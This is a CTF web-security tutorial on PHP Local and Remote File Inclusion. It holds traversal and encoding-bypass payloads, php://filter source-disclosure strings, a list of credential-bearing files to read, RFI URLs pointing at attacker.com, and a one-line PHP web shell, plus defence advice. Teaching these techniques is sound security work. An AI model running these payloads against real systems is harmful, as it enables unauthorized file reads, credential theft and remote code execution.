LFI & RFI
Exploit Local and Remote File Inclusion to read sensitive files and achieve remote code execution in CTF web challenges.
LFI & RFI
File inclusion vulnerabilities occur when an application builds a filesystem path or include statement from user input without proper validation. There are two flavours:
- Local File Inclusion (LFI) — the app includes a file already on the server. You read files you shouldn't (
/etc/passwd, source code, config secrets) and, with the right primitive, escalate to code execution. - Remote File Inclusion (RFI) — the app includes a file from a URL you control, giving immediate remote code execution. RFI is rare today because the dangerous PHP settings that enable it (
allow_url_include) are off by default, but it still appears in CTFs and legacy targets.
LFI ≠ path traversal
Plain path traversal lets you read arbitrary files. LFI means the
file is interpreted/included by the language runtime (e.g. PHP include),
which is what opens the door to code execution. The distinction matters when
you plan the exploit.
How It Happens
// Vulnerable PHP: page name comes straight from the query string
$page = $_GET['page'];
include("pages/" . $page . ".php");
// Request: ?page=../../../../etc/passwd%00 (classic LFI)The same anti-pattern exists in other stacks — Python (open(user_input)), Node (fs.readFile), Java (new File(...)) — but PHP's include/require is uniquely dangerous because included files are executed.
Step 1 — Confirm and Read Files
Start with path traversal to a known file. Vary the depth (../) until it resolves:
?page=../../../../../../etc/passwd
?page=....//....//....//etc/passwd # bypass naive "../" stripping
?page=..%2f..%2f..%2fetc%2fpasswd # URL-encoded
?page=%2e%2e%2f%2e%2e%2fetc%2fpasswd # double-encoded segmentsHigh-value targets to read:
/etc/passwd # confirms LFI, lists users
/proc/self/environ # environment variables, sometimes secrets
/proc/self/cmdline # how the process was launched
/var/www/html/config.php # app DB creds and secret keys
/home/<user>/.bash_history # commands, sometimes credentials
/var/log/... # logs — see log poisoning belowThe null byte trick is dead
%00 null-byte truncation (to strip an appended .php) only works on
PHP < 5.3.4. Modern targets need a different approach — usually PHP
wrappers or a path that doesn't force an extension. Treat %00 as a
legacy/exam technique, not a 2026 default.
Step 2 — PHP Wrappers (the LFI Power Tools)
PHP stream wrappers turn a read primitive into source disclosure and code execution.
include would execute a .php file, hiding its source. Base64-encode it first so you get the raw text back:
?page=php://filter/convert.base64-encode/resource=config
?page=php://filter/convert.base64-encode/resource=../../../etc/passwdDecode the base64 output to read the PHP source — invaluable for finding
hardcoded credentials, secret keys, and the next vulnerability. A modern
variant, the php_filter_chain technique, chains conversion filters to
generate arbitrary bytes and reach RCE with no file upload at all
(tool: php_filter_chain_generator).
Step 3 — LFI to RCE
When wrappers are blocked, turn a file read into code execution:
Remote File Inclusion (RFI)
If allow_url_include=On (rare, default off since PHP 5.2), point the include at a server you control:
?page=http://attacker.com/shell.txt
?page=ftp://attacker.com/shell.txt// shell.txt hosted on your box
<?php system($_GET['c']); ?>Because RFI requires that non-default setting, in modern challenges you will far more often exploit LFI + a wrapper than true RFI.
Filter Bypasses
# "../" stripped once → nest it
....//....//etc/passwd
# Encoding layers
%252e%252e%252f # double URL-encoding
..%c0%af # overlong UTF-8 (legacy servers)
# Forced base directory you must escape
?page=images/../../../../etc/passwd
# Appended extension you must satisfy with a wrapper instead of %00
?page=php://filter/convert.base64-encode/resource=indexDefence
- Never pass user input to
include/require/open. Map input to an allowlist of known files ($pages = ['home'=>'home.php', ...]). - Disable
allow_url_includeandallow_url_fopen(defaults in modern PHP). - Canonicalize paths (
realpath) and verify they stay within an intended base directory. - Run the app with least privilege so traversal reads hit a wall.
Checklist
- Confirm with
?page=../../../../etc/passwd(vary depth & encoding) - Read source with
php://filter/convert.base64-encode/resource= - Hunt config files for DB creds and secret keys
- Try
data:///php://inputifallow_url_includeis on - Escalate to RCE via log poisoning or session/temp-file inclusion
- Consider
php_filter_chainwhen no upload/log primitive exists - Remember
%00truncation only works on PHP < 5.3.4 (legacy)
See Also
- SSRF — when the include/fetch targets internal services
- Command Injection — landing a shell once you have RCE
- XXE — another file-read primitive via XML parsers
Last updated on